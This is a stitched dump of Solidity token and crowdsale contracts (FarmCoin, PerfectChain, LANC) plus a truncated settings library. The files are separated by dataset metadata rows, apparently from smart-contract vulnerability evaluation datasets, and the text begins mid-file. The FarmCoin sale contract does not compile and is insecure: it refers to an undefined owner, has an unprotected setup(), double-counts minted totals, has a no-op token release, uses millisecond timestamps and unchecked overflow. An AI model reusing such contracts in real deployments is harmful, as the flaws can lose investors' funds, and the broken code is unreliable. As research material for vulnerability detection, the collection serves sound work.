function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//Replace the if with this one instead.
//if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
//name this contract whatever you'd like
contract FarmCoin is StandardToken {
string public name = 'FarmCoin'; //fancy name: eg Simon Bucks
uint8 public decimals = 18;
string public symbol = 'FARM'; //An identifier: eg SBX
string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme.
//
// CHANGE THESE VALUES FOR YOUR TOKEN
//
function FarmCoin() {
balances[msg.sender] = 5000000000000000000000000; // Give the creator all initial tokens (100000 for example)
totalSupply = 5000000000000000000000000; // Update total supply (100000 for example)
name = "FarmCoin"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "FARM"; // Set the symbol for display purposes
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { revert; }
return true;
}
}
contract FarmCoinSale is FarmCoin {
uint256 public maxMintable;
uint256 public totalMinted;
uint256 public decimals = 18;
uint public endBlock;
uint public startBlock;
uint256 public exchangeRate;
uint public startTime;
bool public isFunding;
address public ETHWallet;
uint256 public heldTotal;
bool private configSet;
address public creator;
mapping (address => uint256) public heldTokens;
mapping (address => uint) public heldTimeline;
event Contribution(address from, uint256 amount);
event ReleaseTokens(address from, uint256 amount);
// start and end dates where crowdsale is allowed (both inclusive)
uint256 constant public START = 1517461200000; // +new Date(2018, 2, 1) / 1000
uint256 constant public END = 1522555200000; // +new Date(2018, 4, 1) / 1000
// @return the rate in FARM per 1 ETH according to the time of the tx and the FARM pricing program.
// @Override
function getRate() constant returns (uint256 rate) {
if (now < START) return rate = 840; // presale, 40% bonus
else if (now <= START + 6 days) return rate = 810; // day 1 to 6, 35% bonus
else if (now <= START + 13 days) return rate = 780; // day 7 to 13, 30% bonus
else if (now <= START + 20 days) return rate = 750; // day 14 to 20, 25% bonus
else if (now <= START + 28 days) return rate = 720; // day 21 to 28, 20% bonus
return rate = 600; // no bonus
}
function FarmCoinSale() {
startBlock = block.number;
maxMintable = 5000000000000000000000000; // 3 million max sellable (18 decimals)
ETHWallet = 0x3b444fC8c2C45DCa5e6610E49dC54423c5Dcd86E;
isFunding = true;
creator = msg.sender;
createHeldCoins();
startTime = 1517461200000;
exchangeRate= 600;
}
// setup function to be ran only 1 time
// setup token address
// setup end Block number
function setup(address TOKEN, uint endBlockTime) {
require(!configSet);
endBlock = endBlockTime;
configSet = true;
}
function closeSale() external {
require(msg.sender==creator);
isFunding = false;
}
// CONTRIBUTE FUNCTION
// converts ETH to TOKEN and sends new TOKEN to the sender
function contribute() external payable {
require(msg.value>0);
require(isFunding);
require(block.number <= endBlock);
uint256 amount = msg.value * exchangeRate;
uint256 total = totalMinted + amount;
require(total<=maxMintable);
totalMinted += total;
ETHWallet.transfer(msg.value);
Contribution(msg.sender, amount);
}
function deposit() payable {
create(msg.sender);
}
function register(address sender) payable {
}
function () payable {
}
function create(address _beneficiary) payable{
uint256 amount = msg.value;
///
}
function withdraw() {
require (msg.sender == owner);
msg.sender.transfer(this.balance);
}
// update the ETH/COIN rate
function updateRate(uint256 rate) external {
require(msg.sender==creator);
require(isFunding);
exchangeRate = rate;
}
// change creator address
function changeCreator(address _creator) external {
require(msg.sender==creator);
creator = _creator;
}
// change transfer status for FarmCoin token
function changeTransferStats(bool _allowed) external {
require(msg.sender==creator);
}
// internal function that allocates a specific amount of ATYX at a specific block number.
// only ran 1 time on initialization
function createHeldCoins() internal {
// TOTAL SUPPLY = 5,000,000
createHoldToken(msg.sender, 1000);
createHoldToken(0xd9710D829fa7c36E025011b801664009E4e7c69D, 100000000000000000000000);
createHoldToken(0xd9710D829fa7c36E025011b801664009E4e7c69D, 100000000000000000000000);
}
// function to create held tokens for developer
function createHoldToken(address _to, uint256 amount) internal {
heldTokens[_to] = amount;
heldTimeline[_to] = block.number + 0;
heldTotal += amount;
totalMinted += heldTotal;
}
// function to release held tokens for developers
function releaseHeldCoins() external {
uint256 held = heldTokens[msg.sender];
uint heldBlock = heldTimeline[msg.sender];
require(!isFunding);
require(held >= 0);
require(block.number >= heldBlock);
heldTokens[msg.sender] = 0;
heldTimeline[msg.sender] = 0;
ReleaseTokens(msg.sender, held);
}
}
| 140,368 | 335 |
ea047df49cd8adffe4ee042b5ac310dd69cbd6c2b1df687cf8be59a262ba2db9
| 11,000 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xd082e94b1fcad2a083ed817618b24b14399439ec.sol
| 2,432 | 9,144 |
pragma solidity ^0.4.24;
contract owned {
address public owner;
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract ERC20 is owned {
// Public variables of the token
string public name = "PerfectChain Network";
string public symbol = "PNN";
uint8 public decimals = 18;
uint256 public totalSupply = 200000000 * 10 ** uint256(decimals);
bool public released = false;
/// contract that is allowed to create new tokens and allows unlift the transfer limits on this token
address public ICO_Contract;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
event FrozenFunds(address target, bool frozen);
constructor () public {
balanceOf[owner] = totalSupply;
}
modifier canTransfer() {
require(released || msg.sender == ICO_Contract || msg.sender == owner);
_;
}
function releaseToken() public onlyOwner {
released = true;
}
function _transfer(address _from, address _to, uint256 _value) canTransfer internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Check if sender is frozen
require(!frozenAccount[_from]);
// Check if recipient is frozen
require(!frozenAccount[_to]);
// Save this for an assertion in the future
uint256 previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @dev Set the ICO_Contract.
/// @param _ICO_Contract crowdsale contract address
function setICO_Contract(address _ICO_Contract) onlyOwner public {
ICO_Contract = _ICO_Contract;
}
}
contract Killable is owned {
function kill() onlyOwner public {
selfdestruct(owner);
}
}
contract ERC20_ICO is owned, Killable {
/// The token we are selling
ERC20 public token;
/// the UNIX timestamp start date of the crowdsale
uint256 public startsAt = 1528489000;
/// the UNIX timestamp end date of the crowdsale
uint256 public endsAt = 1530000000;
/// the price of token
uint256 public TokenPerETH = 5600;
/// Has this crowdsale been finalized
bool public finalized = false;
/// the number of tokens already sold through this contract
uint256 public tokensSold = 0;
/// the number of ETH raised through this contract
uint256 public weiRaised = 0;
/// How many distinct addresses have invested
uint256 public investorCount = 0;
/// How much Token minimum sale.
uint256 public Soft_Cap = 40000000000000000000000000;
/// How much Token maximum sale.
uint256 public Hard_Cap = 140000000000000000000000000;
/// How much ETH each address has invested to this crowdsale
mapping (address => uint256) public investedAmountOf;
/// A new investment was made
event Invested(address investor, uint256 weiAmount, uint256 tokenAmount);
/// Crowdsale Start time has been changed
event StartsAtChanged(uint256 startsAt);
/// Crowdsale end time has been changed
event EndsAtChanged(uint256 endsAt);
/// Calculated new price
event RateChanged(uint256 oldValue, uint256 newValue);
/// Refund was processed for a contributor
event Refund(address investor, uint256 weiAmount);
constructor (address _token) public {
token = ERC20(_token);
}
function investInternal(address receiver) private {
require(!finalized);
require(startsAt <= now && endsAt > now);
require(tokensSold <= Hard_Cap);
require(msg.value >= 10000000000000000);
if(investedAmountOf[receiver] == 0) {
// A new investor
investorCount++;
}
// Update investor
uint256 tokensAmount = msg.value * TokenPerETH;
investedAmountOf[receiver] += msg.value;
// Update totals
tokensSold += tokensAmount;
weiRaised += msg.value;
// Tell us invest was success
emit Invested(receiver, msg.value, tokensAmount);
if (msg.value >= 100000000000000000 && msg.value < 10000000000000000000) {
// 0.1-10 ETH 20% Bonus
tokensAmount = tokensAmount * 120 / 100;
}
if (msg.value >= 10000000000000000000 && msg.value < 30000000000000000000) {
// 10-30 ETH 30% Bonus
tokensAmount = tokensAmount * 130 / 100;
}
if (msg.value >= 30000000000000000000) {
// 30 ETh and more 40% Bonus
tokensAmount = tokensAmount * 140 / 100;
}
token.transfer(receiver, tokensAmount);
// Transfer Fund to owner's address
owner.transfer(address(this).balance);
}
function buy() public payable {
investInternal(msg.sender);
}
function setStartsAt(uint256 time) onlyOwner public {
require(!finalized);
startsAt = time;
emit StartsAtChanged(startsAt);
}
function setEndsAt(uint256 time) onlyOwner public {
require(!finalized);
endsAt = time;
emit EndsAtChanged(endsAt);
}
function setRate(uint256 value) onlyOwner public {
require(!finalized);
require(value > 0);
emit RateChanged(TokenPerETH, value);
TokenPerETH = value;
}
function finalize() public onlyOwner {
// Finalized Pre ICO crowdsele.
finalized = true;
}
}
| 223,182 | 336 |
a7222269bcd2969425605950b423efed763937b7fdd8b977c95f8ea4dcd96b89
| 14,239 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x42f62d20c69e0f639433002fd1dc8fa832bcc40b.sol
| 3,079 | 10,740 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract LANCCrowdsale is Ownable {
using SafeMath for uint256;
address public fundDepositAddress = 0xE700569B98D4BF25E05c64C96560f77bCD44565E;
uint256 public currentPeriod = 0;
bool public isFinalized = false;
// 0 = Not Started
// 1 = PrePresale
// 2 = Presale
// 3 = Round 1
// 4 = Round 2
// 5 = Finished
mapping (uint256 => uint256) public rateMap;
mapping (address => uint256) powerDayAddressLimits;
uint256 public powerDayRate;
uint256 public powerDayEthPerPerson = 10;
uint256 public presaleStartTime;
uint256 public powerDayEndTime;
uint256 public constant capPresale = 57 * (10**5) * 10**18;
uint256 public constant capRound1 = (288 * (10**5) * 10**18);
uint256 public constant capRound2 = (484 * (10**5) * 10**18);
uint256 public rate = 0; // LANC per ETH
// The token being sold
LANCToken public token;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function LANCCrowdsale() public {
// Initilize with rates.
rateMap[1] = 2100; // PrePresale rate
powerDayRate = 2000; // Powerday rate in presale.
rateMap[2] = 1900; // Presale rate
rateMap[3] = 1650; // Round 1 rate
rateMap[4] = 1400; // Round 2 rate
rateMap[5] = 0;
}
function setTokenContract(address _token) public onlyOwner {
require(_token != address(0) && token == address(0));
require(LANCToken(_token).owner() == address(this));
require(LANCToken(_token).totalSupply() == 0);
require(!LANCToken(_token).mintingFinished());
token = LANCToken(_token);
}
function mint(address _to, uint256 _amount) public onlyOwner {
require(token != address(0));
require(!LANCToken(token).mintingFinished());
require(LANCToken(token).owner() == address(this));
token.mint(_to, _amount);
}
// Backup function in case of ETH price fluctuations
function updateRates(uint256 rateIdx, uint256 newRate) public onlyOwner {
require(rateIdx > 0 && rateIdx < 5);
require(newRate > 0);
rateMap[rateIdx] = newRate;
if (rateIdx == currentPeriod) {
rate = newRate;
}
}
function updatePowerDayRate(uint256 newRate) public onlyOwner {
powerDayRate = newRate;
}
function switchSaleState() public onlyOwner {
require(token != address(0));
if (currentPeriod > 4) {
revert(); // Finished, last state is 4
}
currentPeriod = currentPeriod + 1;
if (currentPeriod == 2) {
presaleStartTime = now;
powerDayEndTime = (presaleStartTime + 1 days);
}
rate = rateMap[currentPeriod];
}
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(token != address(0));
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 currentRate = rate;
uint256 tokens;
bool inPowerDay = saleInPowerDay();
// calculate token amount to be created
// Assign power day rate if in power day.
if (inPowerDay == true) {
tokens = weiAmount.mul(powerDayRate);
} else {
tokens = weiAmount.mul(currentRate);
}
// calculate supply after potential token mint
uint256 checkedSupply = token.totalSupply().add(tokens);
require(willFitInCap(checkedSupply));
// check if new supply fits within current cap.
if (inPowerDay == true) {
uint256 newWeiAmountPerSender = powerDayAddressLimits[msg.sender].add(weiAmount);
// Check if the person has reached their power day limit.
if (newWeiAmountPerSender > powerDayPerPersonCapInWei()) {
revert();
} else {
powerDayAddressLimits[msg.sender] = newWeiAmountPerSender;
}
}
// Generate the tokens by using MintableToken's mint method.
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function saleInPowerDay() internal view returns (bool) {
bool inPresale = (currentPeriod == 2);
bool inPowerDayPeriod = (now >= presaleStartTime && now <= powerDayEndTime);
return inPresale && inPowerDayPeriod;
}
function powerDayPerPersonCapInWei() public view returns (uint) {
require(token != address(0));
// Calculate per-person cap in wei during power day.
return powerDayEthPerPerson * (10**token.decimals());
}
function willFitInCap(uint256 checkedSupply) internal view returns (bool) {
if (currentPeriod == 1 || currentPeriod == 2) {
return (checkedSupply <= capPresale);
} else if (currentPeriod == 3) {
return (checkedSupply <= capRound1);
} else if (currentPeriod == 4) {
return (checkedSupply <= capRound2);
}
return false;
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool tokenAssigned = (token != address(0));
bool inStartedState = (currentPeriod > 0 && currentPeriod < 5);
bool nonZeroPurchase = msg.value != 0;
return tokenAssigned && inStartedState && nonZeroPurchase && !isFinalized;
}
// Finalize the sale and calculate final token supply and distribute amounts.
function finalizeSale() public onlyOwner {
if (isFinalized == true) {
revert();
}
uint newTokens = token.totalSupply();
// Raise the remaining amounts
token.mint(fundDepositAddress, newTokens);
token.finishMinting();
token.transferOwnership(owner);
isFinalized = true;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return currentPeriod > 4;
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
fundDepositAddress.transfer(msg.value);
}
function powerDayRemainingLimitOf(address _owner) public view returns (uint256 balance) {
return powerDayAddressLimits[_owner];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract LANCToken is MintableToken {
string public name = "LanceChain Token";
string public symbol = "LANC";
uint public decimals = 18;
}
| 182,357 | 337 |
a54535569a4ee566138642974c2c75d34a1c2a49a8a7adebc783da9fce18e30d
| 33,236 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/e2/E2f6b164d53C954870253C3Df4064A48E8b4ff1F_SystemSettingsLib.sol
| 6,028 | 23,455 |
pragma solidity >=0.4.24;
// https://docs.tribeone.io/contracts/source/interfaces/iflexiblestorage
interface IFlexibleStorage {
// Views
function getUIntValue(bytes32 contractName, bytes32 record) external view returns (uint);
function getUIntValues(bytes32 contractName, bytes32[] calldata records) external view returns (uint[] memory);
function getIntValue(bytes32 contractName, bytes32 record) external view returns (int);
function getIntValues(bytes32 contractName, bytes32[] calldata records) external view returns (int[] memory);
function getAddressValue(bytes32 contractName, bytes32 record) external view returns (address);
function getAddressValues(bytes32 contractName, bytes32[] calldata records) external view returns (address[] memory);
function getBoolValue(bytes32 contractName, bytes32 record) external view returns (bool);
function getBoolValues(bytes32 contractName, bytes32[] calldata records) external view returns (bool[] memory);
function getBytes32Value(bytes32 contractName, bytes32 record) external view returns (bytes32);
function getBytes32Values(bytes32 contractName, bytes32[] calldata records) external view returns (bytes32[] memory);
// Mutative functions
function deleteUIntValue(bytes32 contractName, bytes32 record) external;
function deleteIntValue(bytes32 contractName, bytes32 record) external;
function deleteAddressValue(bytes32 contractName, bytes32 record) external;
function deleteBoolValue(bytes32 contractName, bytes32 record) external;
function deleteBytes32Value(bytes32 contractName, bytes32 record) external;
function setUIntValue(bytes32 contractName,
bytes32 record,
uint value) external;
function setUIntValues(bytes32 contractName,
bytes32[] calldata records,
uint[] calldata values) external;
function setIntValue(bytes32 contractName,
bytes32 record,
int value) external;
function setIntValues(bytes32 contractName,
bytes32[] calldata records,
int[] calldata values) external;
function setAddressValue(bytes32 contractName,
bytes32 record,
address value) external;
function setAddressValues(bytes32 contractName,
bytes32[] calldata records,
address[] calldata values) external;
function setBoolValue(bytes32 contractName,
bytes32 record,
bool value) external;
function setBoolValues(bytes32 contractName,
bytes32[] calldata records,
bool[] calldata values) external;
function setBytes32Value(bytes32 contractName,
bytes32 record,
bytes32 value) external;
function setBytes32Values(bytes32 contractName,
bytes32[] calldata records,
bytes32[] calldata values) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// Libraries
// https://docs.tribeone.io/contracts/source/libraries/safedecimalmath
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10**uint(decimals);
uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals);
function unit() external pure returns (uint) {
return UNIT;
}
function preciseUnit() external pure returns (uint) {
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x,
uint y,
uint precisionUnit) private pure returns (uint) {
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y) internal pure returns (uint) {
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x,
uint y,
uint precisionUnit) private pure returns (uint) {
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i) internal pure returns (uint) {
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i) internal pure returns (uint) {
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
// Computes `a - b`, setting the value to 0 if b > a.
function floorsub(uint a, uint b) internal pure returns (uint) {
return b >= a ? 0 : a - b;
}
function signedAbs(int x) internal pure returns (int) {
return x < 0 ? -x : x;
}
function abs(int x) internal pure returns (uint) {
return uint(signedAbs(x));
}
}
// Internal references
// Libraries
/// This library is to reduce SystemSettings contract size only and is not really
/// a proper library - so it shares knowledge of implementation details
/// Some of the setters were refactored into this library, and some setters remain in the
/// contract itself (SystemSettings)
library SystemSettingsLib {
using SafeMath for uint;
using SafeDecimalMath for uint;
bytes32 public constant SETTINGS_CONTRACT_NAME = "SystemSettings";
// No more tribes may be issued than the value of HAKA backing them.
uint public constant MAX_ISSUANCE_RATIO = 1e18;
// The fee period must be between 1 day and 60 days.
uint public constant MIN_FEE_PERIOD_DURATION = 1 days;
uint public constant MAX_FEE_PERIOD_DURATION = 60 days;
uint public constant MAX_TARGET_THRESHOLD = 50;
uint public constant MAX_LIQUIDATION_RATIO = 1e18; // 100% issuance ratio
uint public constant RATIO_FROM_TARGET_BUFFER = 2e18; // 200% - mininimum buffer between issuance ratio and liquidation ratio
uint public constant MAX_LIQUIDATION_PENALTY = 9e18 / 10; // Max 90% liquidation penalty / bonus
uint public constant MAX_LIQUIDATION_DELAY = 3 days;
uint public constant MIN_LIQUIDATION_DELAY = 300; // 5 min
// Exchange fee may not exceed 10%.
uint public constant MAX_EXCHANGE_FEE_RATE = 1e18 / 10;
// Minimum Stake time may not exceed 1 weeks.
uint public constant MAX_MINIMUM_STAKE_TIME = 1 weeks;
uint public constant MAX_CROSS_DOMAIN_GAS_LIMIT = 12e6;
uint public constant MIN_CROSS_DOMAIN_GAS_LIMIT = 3e6;
int public constant MAX_WRAPPER_MINT_FEE_RATE = 1e18;
int public constant MAX_WRAPPER_BURN_FEE_RATE = 1e18;
// Atomic block volume limit is encoded as uint192.
uint public constant MAX_ATOMIC_VOLUME_PER_BLOCK = uint192(-1);
// TWAP window must be between 1 min and 1 day.
uint public constant MIN_ATOMIC_TWAP_WINDOW = 60;
uint public constant MAX_ATOMIC_TWAP_WINDOW = 86400;
// Volatility consideration window must be between 1 min and 1 day.
uint public constant MIN_ATOMIC_VOLATILITY_CONSIDERATION_WINDOW = 60;
uint public constant MAX_ATOMIC_VOLATILITY_CONSIDERATION_WINDOW = 86400;
// workaround for library not supporting public constants in sol v0.5
function contractName() external view returns (bytes32) {
return SETTINGS_CONTRACT_NAME;
}
function setCrossDomainMessageGasLimit(IFlexibleStorage flexibleStorage,
bytes32 gasLimitSettings,
uint crossDomainMessageGasLimit) external {
require(crossDomainMessageGasLimit >= MIN_CROSS_DOMAIN_GAS_LIMIT &&
crossDomainMessageGasLimit <= MAX_CROSS_DOMAIN_GAS_LIMIT,
"Out of range xDomain gasLimit");
flexibleStorage.setUIntValue(SETTINGS_CONTRACT_NAME, gasLimitSettings, crossDomainMessageGasLimit);
}
function setIssuanceRatio(IFlexibleStorage flexibleStorage,
bytes32 settingName,
uint ratio) external {
